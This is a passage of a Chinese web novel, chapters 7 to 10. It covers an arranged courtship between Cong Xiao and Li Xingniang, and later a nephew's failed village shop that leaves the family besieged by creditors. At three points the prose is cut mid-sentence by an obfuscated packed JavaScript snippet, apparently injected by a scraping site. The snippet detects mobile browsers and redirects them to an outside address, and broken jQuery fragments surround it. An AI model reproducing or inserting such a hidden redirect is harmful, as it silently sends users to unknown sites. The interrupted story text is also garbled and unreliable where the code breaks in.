丛孝收回茶壶谨慎地道：“小子虽去了五年，却一直住在山上，只逢年过节跟着老师傅们下山打打牙祭，平常很少下山，是以并不十分知晓府城如何繁华。” “荆江可有见过？听说府城连着荆江的码头气派非凡。” 丛孝是见过荆江的，彼时跟着管事去码头拉一船木料。一望无际的水面上停靠着高大威猛的船只，远处的点点黑影如同夜幕下闪烁的星子，清晨温暖的阳光给水面镀了一层金色外衣。 江边人声鼎沸，车马络绎不绝，清爽的凉风呼啸而过也浇不熄人们热情地忙碌。 丛孝第一次见到如此庞然大物的水域，仿若小水洼里的泥鳅入了江，无论怎样翻江倒海也靠不了边，震撼得几近失语。也是第一次如此直观地感受到自己渺小得跟只蚂蚁没什么不同。 两人聊一些府城的风土人情、民俗差异，越说越投机，丛孝也越说越顺畅。 毕竟行走过昌盛之地，眼界实非小小乡村可比，家里人只会问些“府城是不是顿顿鸡鸭鱼肉吃不完？”“那里的人是不是穿着金子做成的衣裳？”诸如此类。 李老爷子却能从船只的大小、数量推断出今岁官粮的收成，十分难能可贵。 “在山上做哪些活计？”端起茶盏抿一口，李老爷子随意问道。 丛孝“咕噜”咽下一大口茶，缓了一口气徐徐说道：“先时只做些烧砖制瓦、砌砖、盖瓦、搬运等粗笨活计，后头人手不足，由老师傅们领着制泥塑、砖雕。下雨天就拿块烂木头练习刮、砍、凿、剌，几年下来略有小成。” 李老爷子点点头沉默不语，屋里一时安静下来，丛孝不敢发出声音，低着头盯着清亮的茶水，水面上倒映着小小的人影，杯口上附着一片叶子。 李老爷子枯坐半晌站起身，打开房门走出去，临走前留下一句话，“明天这个时辰，我带小女过来喝杯清茶。” 丛孝顿时大喜过望，忙不迭应下。 …… 依旧是昨日的厢房，丛孝坐立不安地来回走动，隔一会隐在窗框后向楼下望去，连房门被敲响了也没听见，直到一个清脆的女声说道：“是你找我么，有什么事？” 丛孝猛然转过身子，一张英姿飒爽的面容出现在眼前，眉尾锋利眼睛有神，不是李杏娘是哪个？ 他情急之下一个趔趄，险跌到楼下去，一时手足无措，语无伦次，“不是我找的你，不，我是在找你，不是……”自个都不知道说了什么。 丛孝深吸一口气，竭力忽视热气上涌的脸颊，弯起嘴角缓慢开口：“昨日李老先生约了我在这里碰面，所以我就先过来了。” 杏娘疑惑地看着面前的人，爹爹只说要她过来这里，有人找她有事，也没说是谁，神神秘秘的，“那你找我有什么事？”她再一次问道。 丛孝眼神一闪，没有立即答复，他走到桌边揭开一个小提篮的盖子，拿出两个瓷瓶放在桌上，“我也不知道你喜欢什么，买了两样点心，不知是否和你胃口。” “茗香园的蜜饯！”杏娘惊喜地叫出声，“你怎么会有茗香园的蜜饯？” 茗香园是玉陵县最有名的点心铺子，尤其是出产的蜜饯色泽金黄，酸甜可口，用蜂蜜浸渍而成，隐约散发甜味。不像镇上的蜜饯不知加了多少糖，价钱死贵不说，还齁甜，吃一粒从喉咙口到肠子就跟被堵住一样，饭都不用吃了，喝水就成。 每年生辰爹爹都会托人从县里带一瓶回来给她，故杏娘看着再熟悉不过的瓷瓶，欢快地笑弯了眼，“你认识我爹爹吗？为什么要送我蜜饯？你怎么知道我喜欢的？”一连串问题脱口而出。 丛孝看着她的笑颜不自觉露出笑摸样，不枉昨天费那许多功夫，到底没白折腾，“你爹爹在楼下等你吧，你回去问问他。” 杏娘提了篮子走下楼，看到她爹刚想开口，李老爷子打断道：“先回家再说。” 杏娘只得吞下满腹疑惑。 …… 杨氏正焦急地等在闺女房中，一见她踏进来立马拽了她的胳膊，“怎么样，今天见面可还顺利？” “顺利啊，怎么不顺利。”杏娘放下篮子端起茶盏一口饮尽，“娘，这是哪家亲戚，人还怪好的，我以前怎么没见过？” 杨氏没好气地说道：“这不是去走亲戚，这是相你未来的夫君。” “什么？”杏娘大喊一声，张口结舌地瞪着她娘，“我什么时候要有夫君了，我怎么不知道，再说也没人告诉我呀！” “什么？”更尖锐的一声，杨氏比女儿还惊愕，“死老头子没告诉你干什么去了，那你怎么跟人见面的？” 她急得在地上团团转，扯了帕子擦鬓边淌下的汗，“怪道早起说我印堂发黑，今天不宜出门，原来在这等着呢。该死的糟老头子又开始作妖，看我饶得过他？” 说着转身就要去抓人，被杏娘一把拉住了袖子，“娘，您别忙活了，爹说去田里看看稻子，晚饭不用等他，他去四哥家吃。” 杨氏简直气笑了，坐在椅子上大口喘息，好半天才平静。 “你今天见了人觉得如何？”老头子那边暂时不管，先把闺女这问清楚。 杏娘抬起手挠了把下巴，“我又不知道是去见那谁的，现在都不太记得他长什么样了，不过他长得可真黑，哈哈！” 提了桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457566|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的篮子给她娘看，“娘，茗香园的蜜饯还记得吧？他送了我两瓶茗香园的蜜饯，这次我可要吃过瘾。”美滋滋抱着篮子如同抱了金元宝。 杨氏眼角抽动，手附额头拍了拍，“我就不该问你，你就长了颗吃心。” …… 月凉如水，乳白的月光透过窗纱洒落在房间地面，老两口躺在床上毫无睡意。 杨氏转过身子侧对着枕边人，“你到底是怎么想的，先前也不跟杏娘交代清楚，稀里糊涂就去碰面，丛家小子为人怎么样？” 李老爷子无声一笑，“就是要瞒着，说透了就差点意思。至于丛家小子……” 他沉吟了半晌，“是个担得起事的，精明却不市侩，为人处世圆滑却并不讨人厌。最重要的一点他是个心软之人，只这一条，以后就算再坏也坏不到哪去。” “丛家的家世算不上多好，他又是老二，日后分家肯定吃亏。咱们杏娘打小不说是蜜罐子养大的吧，也没怎么吃过苦，嫁了人倒要在那一亩三分地上挣吃食填肚皮，你能忍心？”杨氏担忧地说。 李老爷子安慰老妻：“你放心，杏娘的前程不在地里刨食上头。” 他讥讽一笑，“地里的产出有多少你又不是不知道，一年忙到头，交了赋税也就哄个肚饱，有个头疼脑热生受着，不到四十就腰弯背驼，须发皆白，形同老朽。” 一番话说得两人沉默起来，李老爷子长叹一口气，感慨地道：“若不是我接了岳父的衣钵，揽下这许多事体，我们如何在这白水湾立住跟脚，养活这十几个儿孙，给他们娶媳妇嫁女儿，哪一样少得了一文钱。” 杨氏手搭在老伴胳膊上拍了拍，他继续说道：“人都说低娶高嫁，可嫁的那般高，日子如何好过。成日里低眉顺眼、唯唯诺诺，既要孝顺公婆服侍丈夫，有那丧了良心的还要纳两个小妾，又要养育庶出子女操持家务。你是不知道，那些大户人家内宅里的阴私腌臜比暗沟里的老鼠还多。” 李老爷子既做了民间道士的营生，少不得替人画符祈福，念咒驱邪保平安。 那些行迹隐藏说话躲闪的婆子仆从，拿着早夭孩童的八字求他念往生咒。个中缘由他只当不知，只是可怜这些小小婴儿好不容易出脱成人，还没等长大就夭折，白来人世走一遭。 “只拿咱们小镇上来说，有几个富贵人家子弟是好的，不是喝酒赌钱打女人，就是眠花宿柳惹是生非，不拿家里的银钱当回事，花钱如流水。这样的人家就算一时风光无限，到底不是长久之相。丛家虽不如何，丛家小子却是个有能耐的，饿不着媳妇孩子，至于能不能攒下一份家业，就要看机缘了。” 李老爷子说完，老夫妻两个一时无言，就着床前的韵白月光慢慢阖上眼皮。 俗话说养儿一百岁，长忧九十九，李老爷子夫妇为着闺女的婚事千般思量、百般谋划，终是定下了丛家。两家请媒婆、合八字、提亲、定亲……忙乱一通后成了婚。 婚后丛孝自不好常年住在府城，央告了建庙的管事，得到允许可在过年、农忙时节回乡帮忙，算下来有小半年时间在家，倒也无甚大碍。 8. 第 8 章 丛家两兄弟各自成婚也没分家，衣食住行由丛三老爷夫妇统一安排打理。因丛孝每年要去府城干活，不好让年轻小媳妇独自在家过活，否则世人的唾沫星子能淹了垄前边的小河。自丛孝成家，老两口就住在小儿子家东厢房，一来照看孙子孙女，二来避免人说闲话。 丛孝每年拿几两碎银给爹娘，丛五爷长年累月抱着书本苦读，一时倒也相安无事，丛家不惹闲事不说是非，家常过日子。 变故发生在去年春天，丛三老爷的大外孙提议跟小舅舅合伙做生意。 丛娟比幺弟大了不少岁，前头说了两户人家都因病去世，万幸只是口头牵线，亲事不成也没伤到筋骨。后请李老爷子算了副卦，说是不宜远嫁，许了同村王家。 王家本就家境寻常，丛娟嫁过去后生了三儿两女且都成活了，上有双亲老人赡养，下有五个嗷嗷待哺的儿女，即便是在一个村子，丛娟也镇日忙得不可开交，脚打后脑勺。隔三差五还得拖儿带女回娘家打秋风，丛三老爷少不得接济几个铜板，舍半袋米面瓜果。 丛娟的大儿子王德是个机灵人，一意鼓动农忙在家的小舅舅合伙开杂货铺，“泮水村本就人多，离周边的几个村子也近，杂货铺就开在村口，来往路过的人都能看见。到时从镇上买些油盐酱醋、针头线脑、绢花手帕等小物件，进的货多了还能压价，这都是妥妥的进账。” 丛孝有些犹豫，家里就是本分的种地农户，没做过甚买进卖出的行当，生意不是那么好做的，一个不慎多少商户人家赔的倾家荡产。 王德却是打定主意，挖空心思地劝说：“小舅舅，那些走家窜户的货郎尚且有赚头，我们这还开了个铺子呢，总不会比他们还差吧。再说了，您一年里有半年在外讨生活，家里孩子一天天大了，外祖父外祖母又上了年纪，您忍心让小舅妈一力承担家事农活？小舅妈怕不是会累出个好歹。” 吞了口唾沫，他继续卖力游说：“有了铺子就不一样，咱们两家合伙出钱，平摊下来本钱就少了，纵使亏了买卖也不怕。您先暂且出去干活，我来守铺子，等铺子赚了钱我们两家一起干，到时您不用出去吃苦受累，小舅妈在家也能安心享福不是？” 最后一条简直说到丛孝的心坎，自个在外吃苦不算什么，就怕爹娘老子媳妇孩儿在家受欺负。五哥那个书呆子不顶用，遇到麻烦连个相帮的人都没有，要是能在老家找到活计安稳度日，谁还愿意去外头受白眼讨生活。 加之丛娟在一旁敲边鼓，说地天花乱坠，怂恿得老两口也动了心思，开口要小儿子为长远打算，丛孝拿出五两银子当做合伙本钱给了外甥。等到秋天农忙回来的时候，距离铺子开张已过了半年。 丛孝一回到家，屁股还没坐热板凳，就有听到风声的掌柜找上门，说是他的铺子欠了货款要他结清。丛孝两眼一抹黑，自是不可能旁人说什么就是什么，再说钱的事不是小事，没有不弄清楚事情原委就拿钱的道理。 此时正是农忙时节，时间不等人，多耽搁一天稻穗就往下垂一寸，一场暴雨下来一季的收成就泡了汤，交不了赋税不说，人还得饿肚皮。天气又最是多变，人就是在跟老天爷赛跑，抢收最要紧，旁的事可以暂且不提。 等稻谷终于进了仓，丛孝缓了口气，刚想去大姐家走一趟，家里就挤满了要债的人。 这个扯了袖子说“烦请七爷结一下酱油醋的账目”，那个拽了胳膊喊“家里是小本买卖，概不赊欠，看在七爷的面子上已是网开一面了，劳烦把欠条清了”。闹哄吵嚷的似镇上菜市口，丛孝的衣裳险给撕破。 等他气冲冲跑到村口的杂货铺查看账册，哪有什么正经账本子哟，几张草纸上东一横西一竖地画了些鬼画符，神似李老爷子开坛做法的黄色符篆。 丛孝拿了“账本”一把甩在外甥脸色，恨声说道：“这个铺子我可没经营过，你自己记的糊涂账，自个去算清楚，这个黑锅我不背。”决绝地走出铺子，充耳不闻身后的哀求。 要账的人分成两拨，一拨守着王家，一拨守着丛三老爷家。 丛娟拖着儿女孙辈，一路丛王家嚎到丛家，进门往老两口面前一跪，哭天抹泪地喊救命：“爹、娘，求你们救救女儿吧，难道你们忍心看着女儿一家老小去死？家里都要揭不开锅了，实在是拿不出银子啊！女儿年纪轻轻嫁到王家，半点福没享到，吃了多少苦受了多少罪。爹、娘，你们不能眼睁睁看着外孙吃牢饭吧？” 双手撑地转动膝盖跪在丛孝面前：“小弟，我知道你是个有本事的，大姐从来没有求过你，求你帮大姐这一回。你外甥是烂泥扶不上墙，他已经知道错了，以后也不敢了，你就当做善事积德救他一命。你的大恩大德，大姐下辈子当牛做马报答你。”说着“嘭嘭”往地上磕头。 王家一窝子男女老少亦是跪了一地，哭的哭求的求，孩童尖利的哭声异常响亮刺耳，刺得人心里长满了草，“轰”的一声！一把火烧得满地通红。 丛孝一张脸胀得青紫，憋着气拽着他大姐往上提，架不住她坠着膝盖往地下滑。他大姐哪是在求他，这是在逼他，逼他答应帮忙，逼他同意出钱还债。丛孝自嘲地笑了，双手再也使不上力气无力垂下，任由他大姐出溜到地上。 守着王家的一看这架势，王家是指望不上了，要想拿到钱还得在丛家下手。两拨人挤满了丛三老爷家的堂屋，站不下的守在屋外，一时连屋子前面的打谷场都站满了看热闹的人。有些不明就里的老实人怕丛家惹了大麻烦，绕着弯避开丛家大门。 家里闯进来这么些陌生人，杏娘拘了三个儿女在西间栓上房门，自个躲在门后偷听堂屋的动静，大姑子这一番做派把她气得够呛，哭，谁还不会？是个女人就会哭，犯了错事就求别人出头，这也太不要脸了。 一屋子人从太阳升空僵持到西斜，眼看着就要落下去了，每个人肚里揣了只田鸡，饿得呱呱响，空城计也不是这么个唱法。 被逼到这个份上，丛孝知道自个不能善了，纵使他不想冒水出头，也多得是人想把他拽出水面。他环视一周，今天才知道什么是百人千面，伤心、怒骂、讥讽、痛苦、看好戏，好一出峰回百转的大戏，戏台子都搭好了，锣鼓胡琴齐备，刀枪剑戟俱全，只等他粉墨登场。 “各位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457567|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌柜且听我一言。”丛孝提高嗓门作了个罗圈揖，屋内喧哗的人声减弱，接着剩下三两声低语，直至彻底归于沉寂。 “我丛孝虽不是什么一言九鼎的大人物，但也是个一口唾沫一口钉的汉子。大家伙一直堵在我家也得不到自己想要的，事情还是要解决。三天！烦请大伙给我三天时间，三天后我自会给所有人一个交代。”说着又府下身子作了个揖。 窃窃私语声响起，掌柜们交头接耳摇头摆手，终是肚子打鼓占了上风。人是铁饭是钢，一顿不吃饿得慌，要真是拖到晚上，那就两顿都没吃了。没吃倒也罢了，只怕今儿也等不到什么好结果。 况且跑得了和尚，跑不了庙，丛家就在这里，还能被荆江水冲走了不成。 一个须发皆白的老者站出来当了话事人：“丛七爷，不是我等咄咄逼人，实在是生活所迫，家有老小要养活。既然七爷放了话，我们自是听从，望三天后七爷能说话算话给我等一个交代。” 人群三三两两走出丛三老爷家大门，低声交谈中夹杂着不满的嘟囔，等到要债的人走光了，看热闹的闲人亦不好再明目张胆的围在丛家门口，也溜溜达达的散场。 “说说吧，现在人也给你们清场了，说清楚到底怎么回事。我就算是现下死了，到了阎罗殿都不知道怎么辩白，好歹让我不要做那冤死鬼。”丛孝嘲讽地说道，“要是再瞒着藏着，那就不要浪费时间了，各回各家各找各妈，洗洗睡吧。大不了就是个鱼死网破，我怕什么，总归在那些条子上签名按手印的不是我丛孝。” 冷酷的语调震得王德肩膀一缩，他惊疑地看向小舅舅，对方看来时又调转目光望他娘，他娘却只顾趴在外祖母身上哀哀哭泣。 王德耷拉着脑袋嘴巴张合，喃喃吐出含糊不明的字词，他本就不是个说话干脆做事果断之人，靠着小聪明忽悠到小舅舅五两白银，自个都没想到能这么容易得手。一时难免士气高涨、信心膨胀，只觉得自家真真是天纵奇才、足智多谋，天生一副做商贾的好材料。 要不是投错了胎，错生在农家，怕不是个王侯将相。 一般人过日子都是谨小慎微的，毕竟人生在世，不如意事十之八九，只有埋着脑袋不看不听不想，日子就这么囫囵着滑过去了。有朝一日一旦如意了，就开始得意，一得意行事就张狂。天狂必有雨，人狂必有灾，说的就是王德这种人。 丛孝一时不慎被王德窥探到心思，即便知道这个外甥不是稳重人，但依旧不免心存幻想：假使成了呢，成了的话好日子就要眼前。不试一试怎么知道？试了有可能成功，不试永远没有机会。 就跟吊在拉磨驴子前的胡萝卜一样，看得到摸不着，往前一步，再一步，吃不到的永远是最好的，磨盘就这么开始转动。 却没有想过这样一个道理：财不进急门，福不入偏门。夸夸其谈谁都会，一到办实事动真格就泄了气。天时地利人和之下成了事，就是自个的功劳，若事败了，那就是生不逢时，老天不公。 王德成功从小舅舅手里骗到五两银子，却也因此闯下大祸，所谓成也萧何败也萧何，皆因此而来。 9. 第 9 章 王德自银两到了手，很是春风得意马蹄疾，旁的先不论，先把鸡鱼鸭肉、美酒佳肴置办了一大桌，干大事前很有必要犒劳自个一番，所谓兵马未动粮草先行么。全家老少吃了个肚皮溜圆，高声畅想美好愿景，仿佛找到了藏宝洞的入口，一只脚已经迈进去，金灿灿的光芒就在眼前闪烁。 吃饱喝足完还是要干正事，跟村口一家闲置房屋的主人谈好期限，大手笔付了一年租金，做生意图的就是长久。屋主竖起大拇指满口子称赞：“王老板不愧是做大事的人，做事就是爽快、大气，生意想不好都不行。”夸得王德双脚离地，无风自行。 前后院的房子半成新，前屋开铺面，后屋住人。屋檐、墙角斑驳，墙皮部分脱落，梁上挂满蛛网，一张漆黑的方桌和四条缺胳膊少腿的凳子，小小的院子半人高的杂草丛生。 做买卖讲究的就是个排场，要不怎么会有先敬罗衣后敬人的老话。 王德皱着眉头前后院一转，提脚就去了泥瓦匠家，该修的修，该补的补，把两间小屋刷了个雪白敞亮。又安排木匠打窗框、货架、全套的桌椅板凳，忙得不亦乐乎。万幸自家的木架子床可以搬来继续用，否则还得花费铜板另打一张床。 大门两边贴上对联，屋檐挂两大红灯笼，整座宅子焕然一新，知道的说是开铺子，不知道的还以为哪家小伙娶新妇。收拾妥当，锅碗瓢盆置办一新，王德携了媳妇儿女喜迁新居。 人住进来铺子就要开张了，坐吃山空不是那么回事。人活着什么最重要？填饱肚皮最紧要，故而开铺子卖百姓一日三餐所需那就不会太差，毕竟人可以一日无食，却不能一直无食。 整桶的油、酱油、醋搬进小铺面，一次性买的多还可以饶个几文，精打细算方显生意人本色。零嘴、针线、泥人、草纸、廉价的脂粉等，琳琅满目的零碎物件把个货架塞得满满当当，这还不算完，店铺哪能没有一件镇店之宝，那多寒碜。 抓耳捞腮、冥思苦想了几天，终于敲定了本店的物华天宝——白糖。那可是大户人家才用得起的金贵东西，寻常百姓别说吃了，见都没见多的大有人在。把这个东西往铺子一摆，那档次、那格调，“噌”地就上来了。 白糖却不是那么好买的，王德跑了镇上好几家店铺才碰到，一问价格，险些以为自个没睡醒，这也太贵了吧，这如何买得起？ 一斤白糖的价可以买好几斤猪肉了，这玩意怎会这般贵的？ 有钱人怎下得了口？ 这不是吃白糖，这是吃白花花的铜板啊！ 买还是不买？王德咬碎了银牙，一百步已经走了九十九步了，不差这最后一步，买！捧着一斤白糖回到新宅，如同捧着娇嫩的婴孩，心仍在滴血。万事具备了吧？可还有什么欠缺的？ 他若有所思地掂起钱匣，嗯？手感不对啊？摇一摇，能听见铜板撞击的哗啦声，这就对了。 揭开盖子一看傻了眼，“哎呀！不好了，家里进贼啦！”他大声喊着媳妇，匣子里的银子怎地没了这么多，该死的小贼丧了良心，明明匣子上的锁还是好好的啊，媳妇也整日看着铺子不出门，到底是哪里出了问题？ 还想什么？还准备什么？铺子必须立刻、马上开张，再不开张，西北风都捞不着喝。一挂鞭炮“噼里啪啦”放完，自家拿着盆敲两下也就罢了，王家杂货铺正式营业啦！ 起初确实热闹过一阵子，村里难得出件新鲜事，看稀罕的人迎来一批送走一拨。其中不乏掏几个铜板添家伙什的主，孙家婆婆打一瓶醋，张家新娶的媳妇拿一包果脯，倒也算得上开门大吉，大吉大利！ 可是醋这个东西吧，再不济也能用上一两个月，又不是天天拿醋泡饭，耐用得很。村民们差的灶房物件一补齐，杂货铺顿时没了动静。 王德闲的整日与苍蝇为伴，坐在柜台后头一点一点往下坠，猛一下点过头，身子趔趄一下张开朦胧的双眼，门口空无一人。捏袖子擦一把嘴角边的涎水，继续闭眼打盹，夏天炎热正好歇午，君不见墙角根的土狗都眯着眼睛吐哈喇子，密集的禅鸣好似催眠曲，刚才做了啥好梦来着，眼皮渐渐阖上。 好容易等来一个过路的客人，人家却是要黄表香烛纸钱的，这可咋怎，这些东西平日里也用不上啊，没进货。 没有条件就创造条件，开铺子么，哪能不碰到烦心事。钱匣子里的铜板却告诉王德一个有心无力的事实，他就是想进货也没钱可进。铺子开张的盈余堪堪可够一家子日常开销，哪还有多余的铜板为他所用。 这里有一个故事没交代清楚，想必不说诸位看官也能猜得出，当初说是合伙出本钱做生意，丛孝拿了五两银，按理说王德也该出五两才对。可他五个铜板都不一定能拿出来，家里耗子洞扫一扫兴许能找出一两个，哪里出得起五两的银子，那可是白银，全家老小一捆卖了到是够。 这就是纯属拿丛孝当大冤种——空手套白狼！ “伙计，可否容我两日后付钱，缓两天就行，两天后我一定结清。”王德抱着一捧上香物什吭哧地问。 伙计一把夺过物件，没钱还敢挑选，什么东西，“想什么美事，一手交钱一手交货，要是人人都能赊欠，我们还开什么铺子。”有这好事，他也不当被人使唤的伙计了，赊东西就够过日子。 王德拽了篮子不撒手，“不是不给钱，就是拖延两天，我可以担保的。” 他灵机一动，大声喊道：“我小舅是泮水村的丛七爷，就是他开的铺子要进货，他在府城做工，有的是工钱付账。” “我不认识什么丛七爷丛八爷的，少给小爷来这套，今天就是天王老子来了都没用。”伙计使劲拉扯藤篮。 “我小舅妈的爹是李老先生，就是那个神通广大的李老先生，是他女婿开的铺面，他也可以担保。”两人拔河似的边拉边喊话，得亏篮子结实不用摔屁股蹲。 李老先生？伙计迟疑地泄了力道，他虽然是个小小的伙计，但也听过李老先生的大名，这整个葫芦镇百多个村子，谁不知道他老人家的名声。 若是他老人家的话…… “这件事我不能做主，我去叫掌柜。”伙计要王德稍等，拔腿朝后院跑去。 不一会掌柜急步走来，双手抱拳寒暄：“不知这位客官同李老先生有何渊源？” “李老先生是我小舅的老丈人。”王德连忙补充，“我跟小舅合伙开的铺子就在泮水村村口，不信的话你尽可以过去打听。” 掌故捻着胡须沉吟片刻，若有所思地说道：“若是李老先生的女婿要进货，那还有什么可说的，而且……不仅如此，这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457568|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西我可以给你各一麻袋。” “啊？”王德傻眼，虽然之前他打的就是死皮赖脸、软磨硬泡也要赊账的主意，但是他只是想借一条巴掌大的鲫鱼，结果人家给他一条江豚。 “只是需要麻烦客官签个名按个手印，没有别的意思，就是人越老胆越小，有个条子在夜里也能睡得着觉。”掌柜若无其事地笑道。 王德一脸匪夷所思地抱着“江豚”回到自家铺子，跟媳妇说了今天的奇闻轶事，“这人到底是怎么想的，别人欠债他还嫌欠少了，世上怎还有这样的傻蛋，还开了那样大的铺子，还有天理没？” “管他是怎么想的，借到就是赚到，咱家铺子不是还缺不少物件，这不是有法子了。”他媳妇眉开眼笑地说道。 一句话说得王德恍然大悟——自家铺子要赚大发了。 从此新世界的大门向王德敞开了，只要缺什么就搬出小舅跟小舅老丈人两尊大佛打欠条，李老先生不仅是小舅妈的爹，还是比他亲爹还亲的祖宗。简直比大门上贴的秦琼和尉迟恭两位神仙还灵验，毕竟两位门将还得身穿甲胄、手持长矛和钢鞭，使出诸般法术才降得了妖魔，驱得了鬼怪。 他只需要动动嘴皮子，自有财神爷亲自下凡送财帛。 一时只觉得天下再没有比开铺子还轻松、赚钱的行当了，他天生就该是吃这一碗饭的人，之前时机不对，现在被他抓住机会，这才知道什么是天高任鸟飞，海阔凭鱼跃。 …… “所以，我就是那只借给你下蛋，还得孵出小鸡的母鸡，是吧？”丛孝连嘴角扯动一下都难，整个人僵硬的如同石头，“我是不是还得谢谢你，谢你给我在这十里八乡的扬了一个天大的名，哦，还有我老丈人，我也要代他谢你一回。” 王德瑟缩成一团，头恨不得藏到肚子里，眼神躲避不敢看小舅阴鸷弑人的目光。丛娟停止抽泣，用帕子挡着额头，身子猛颤抖一下，压低腰身更紧地贴近亲娘。 “你就不想想，人家凭什么愿意给你赊账，凭你是县太爷的儿子还是知府大人的老子，欠债不用还，是吧？还是说你打的就是要我还的主意。你这个蠢笨如猪的东西，平时不是很会算计么，怎么就光知道陷害你小舅，世上还有比你更蠢更毒的人吗？” 丛孝忍无可忍，一挥手掀翻了桌上的茶壶杯盏。 瓷片摔落一地，茶水四溅，伴着清脆的破裂声，丛孝跌坐在椅上，堂屋安静如坟场，其余人似乎连呼吸都摒弃了，只剩他大口喘息的声音。 他无力地摊靠椅背，自嘲地笑了，“也是，我不就是那个比你还蠢的王八蛋吗？我尽然信了你的鬼话，是我活该，哈哈，是我该有此一劫。” 早在讨债的人还没走时，杏娘就去灶房煮了一锅稀饭，娘四个就着咸菜哄饱了肚皮。至于其他人的死活她才懒得管，气都气饱了，还吃什么饭。 “我告诉你，就是块石头丢水里还能听一声响。那五两银子我就当赏了叫花子，不要他们还这笔钱是我做人厚道，但是再要我们还债那是绝对不可能的事。”杏娘郑重警告回到房间的丈夫。 丛孝阴沉着脸没吭声。 “你要是敢揽下这个烂摊子，我跟你没完，当我好欺负是吧，惹恼了我，我让你们知道李字怎么写。”杏娘冷笑地说。 10. 第 10 章 第二天沉默地吃完早饭，姓王的一家子仍旧回娘家报道，这一次丛五爷夫妇也在场，大家齐聚一堂。 “按理说欠债还钱，天经地义，谁欠的债就应该谁还。”丛信慢条斯理地开口，一派世外高人模样。 昨天丛孝这边闹出这般大的动静，丛信两口子就跟突然患了眼盲耳瞎之症，硬是看不见听不着，两家房子紧挨着，那边就如同缩头的乌龟，团在王八壳里一动不动。今天风平浪静了，到是露出乌□□显摆一下存在感。 “话不是这么说的。”丛娟瞟了一眼二弟，对大弟正色说道，“我们算哪个排面上的人物，要没有小弟松口，这个铺子能开起来？” 丛孝面无表情地坐在椅子上，听见这话眉毛都没动一下，“这么说来，大姐是怪我出了那五两银子？” 看来经过一晚上的酝酿，他大姐的脸皮厚度又上了一个台阶。 丛娟皱着眉头，颇为不满地说道：“我可没这个意思，老王家往上祖宗十八代都起出来瞧瞧，有没一个能拿得出手的？要不是小弟和李老先生的名头，那些掌柜能赊账给我们？” “大姐这话说得可真好笑，敢情还是我们家带累了你们？这件事说出去让大伙评评理，看到底是谁的错？”杏娘极为不齿这个大姑姐的为人，成了事就是她自家的功劳，出了错就是别人造成的，“当初死乞白赖地求着我们合伙的时候可不是这么说的，做了好事还要被威胁？世上就没这个道理。” 林氏也帮腔道：“都是一家子至亲骨肉，实在不必闹得太难看。可话说回来，亲兄弟也要明算账，该是谁的就是谁的，这件事就算是二弟出的银子开的头，但经营铺子的人可是大外甥，这可抵赖不了。” 杏娘冷淡地看了眼大嫂，这位就是个无利不起早的主，好话坏话都不得罪人，她要是开了口，指不定有什么后手等着。 丛娟知道在弟弟两家人面前讨不了好，本来这件事就是自家不占理，就算说出去也没人站在他们这一边，她只得寻求别的同盟。 “爹，娘，求你们说句话，女儿一家什么情况，你们再清楚不过。别人都说我丛娟不要脸，出嫁了不说帮衬兄弟，还要三不五时地拖着一串儿女回娘家讨口饭吃。我也想争气，我也想让爹娘老子兄弟脸上有光，要不然也不会弄出这件事。我什么都不怨，只怨自己命苦，我就不该托生成人，不该生下一堆小畜生。” 她越说越激动，嚎啕大哭起来，鼻涕眼泪滚珠似的往下掉，浸湿了前襟，额头上的汗珠染湿了鬓发，痛苦得不能自已，诅咒命运对自己的不公。 丛三老爷夫妇左右为难，手心手背都是肉，既想帮女儿一家度过难关，又不知怎么跟小儿子开口，况且这欠的债还不知有多少，断没有为了帮外孙把自家坑了的道理。外孙再亲也没有儿子亲，老夫妻两还不至于糊涂至此。 丛三老爷沉默地吃着旱烟，黄铜的烟锅头长年累月地被烟熏成了黑色。他“吧嗒”一口，浓郁沉闷的烟气笼罩了他的面容，裹在烟雾里神色不明。 从昨天开始，丛三老爷就没开过口，这个种了一辈子地的老庄稼把式困在了愁绪里，不知道怎么处理这么复杂的事情，不知道自家是否能挨过去。他干枯消瘦的脸只过了一个晚上，似乎增加了一年的岁月，越发老迈。 陈氏茫然地坐着，一双慌乱的眼睛看看大儿子，又望望小儿子，期待他们能给她做主，帮她解决掉这些烦死人的事情。他们却根本不与她对视，对她的渴求视而不见，她无助地抱着女儿一起痛哭。 又来这招！杏娘简直要被气疯，澎湃的怒气在她的胸腔横冲直撞，顶得她肋骨隐隐生痛。她很想冲出去大吼大叫，痛骂这些无耻之徒，见过不要脸的，没见过这么不要脸的。这是拿准了他们一家，逼着他们松口，逼着他们出钱。 